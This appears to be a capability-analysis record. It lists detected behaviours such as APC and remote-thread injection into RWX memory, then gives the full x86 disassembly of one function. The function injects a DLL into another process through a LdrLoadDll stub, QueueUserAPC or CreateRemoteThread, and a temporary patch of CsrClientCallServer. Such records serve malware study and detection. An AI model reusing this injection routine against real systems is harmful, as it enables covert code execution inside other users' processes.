Function at 0x401400
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject apc
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x6c], 1
mov esi, edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x4c], edi
test ecx, ecx
jle 0x4017d1
test esi, esi
js 0x4017d1
jne 0x401452
cmp byte [ebp + 0xc], 0
jne 0x4017d1
xor eax, eax
mov dword [ebp - 0x6c], eax
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [ebp - 0x84], ebx
test ebx, ebx
jne 0x401480
lea eax, [ebx - 2]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401da9
mov esp, ebp
pop ebp
ret
test esi, esi
jle 0x4014a1
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x7c], eax
test eax, eax
jne 0x4014a1
lea ebx, [eax - 3]
jmp 0x401799
mov esi, dword [ebp - 0x68]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4014a7
sub esi, ecx
mov edx, 2
xor ecx, ecx
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push 1
call fcn.004034a7
mov edi, eax
add esp, 8
test edi, edi
jne 0x4014dc
lea ebx, [eax - 4]
jmp 0x401799
xor ecx, ecx
test esi, esi
jle 0x4014f9
mov ebx, dword [ebp - 0x68]
movsx ax, byte [ebx + ecx]
mov word [edi + ecx*2], ax
inc ecx
cmp ecx, esi
jl 0x4014e5
mov ebx, dword [ebp - 0x84]
mov ecx, edi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401500
sub ecx, edx
sar ecx, 1
push 4
push 0x3000
lea eax, [ecx*2 + 2]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x401535
lea ebx, [eax - 4]
jmp 0x401799
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401540
sub ecx, edx
lea eax, [ebp - 0x4c]
sar ecx, 1
push eax
lea eax, [ecx*2 + 2]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401570
lea ebx, [eax - 5]
jmp 0x401799
push str.LdrLoadDll
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, edi
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401592
push 4
sub ecx, edx
push 0x3000
sar ecx, 1
push 0x10
push 0
push ebx
lea eax, [ecx + ecx]
mov word [ebp - 0x5e], ax
mov word [ebp - 0x60], ax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x80], esi
test esi, esi
jne 0x4015cf
lea ebx, [eax - 4]
jmp 0x401799
lea eax, [ebp - 0x4c]
push eax
push 0x10
lea eax, [ebp - 0x64]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4015ed
lea ebx, [eax - 5]
jmp 0x401799
push 0x40
push 0x3000
push 0x1b
push 0
push ebx
mov byte [ebp - 0x48], 0xb8
mov dword [ebp - 0x47], esi
mov dword [ebp - 0x43], 0xc588d53
mov dword [ebp - 0x3f], 0x4588d53
mov dword [ebp - 0x3b], 0x6a006a53
mov dword [ebp - 0x37], 0x588b00
mov dword [ebp - 0x33], 0xc25bd3ff
mov word [ebp - 0x2f], 4
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
test eax, eax
jne 0x40163e
lea ebx, [eax - 4]
jmp 0x401799
lea ecx, [ebp - 0x4c]
push ecx
push 0x1b
lea ecx, [ebp - 0x48]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40165c
lea ebx, [eax - 5]
jmp 0x401799
mov eax, dword [ebp - 0x6c]
cmp eax, 1
jne 0x401687
push esi
push dword [ebp - 0x7c]
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40177d
lea ebx, [eax - 6]
jmp 0x40179f
test eax, eax
jne 0x401794
lea eax, [ebp - 0x54]
push eax
push 0
push esi
push dword [ebp - 0x68]
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4016be
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
xor ebx, ebx
cmp byte [ebp + 0xc], bl
setne bl
jmp 0x40179f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x401787
push str.CsrClientCallServer
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 0x78], 0x4c8bc033
lea eax, [ebp - 0x50]
mov dword [ebp - 0x6c], esi
push eax
push 0x40
push 0xc
push esi
mov dword [ebp - 0x74], 0x41890424
mov dword [ebp - 0x70], 0x10c220
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movq xmm0, qword [esi]
mov ecx, dword [ebp - 0x6c]
mov esi, dword [esi + 8]
mov eax, dword [ebp - 0x70]
movq qword [ebp - 0x90], xmm0
movq xmm0, qword [ebp - 0x78]
movq qword [ecx], xmm0
mov dword [ecx + 8], eax
lea eax, [ebp - 0x54]
push eax
push 0
push dword [ebp - 0x80]
push dword [ebp - 0x68]
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, dword [ebp - 0x6c]
movq xmm0, qword [ebp - 0x90]
mov dword [ebp - 0x80], eax
movq qword [ebx], xmm0
mov dword [ebx + 8], esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401767
push eax
call esi
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x50]
push 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp - 0x80], 0
je 0x40178d
xor ebx, ebx
cmp byte [ebp + 0xc], bl
setne bl
jmp 0x40179f
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xfffffff9
jmp 0x40179f
mov ebx, 0xfffffff8
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x84]
call esi
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x4017b1
push eax
call esi
test edi, edi
je 0x4017be
push edi
call fcn.004034da
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401da9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401da9
mov esp, ebp
pop ebp
ret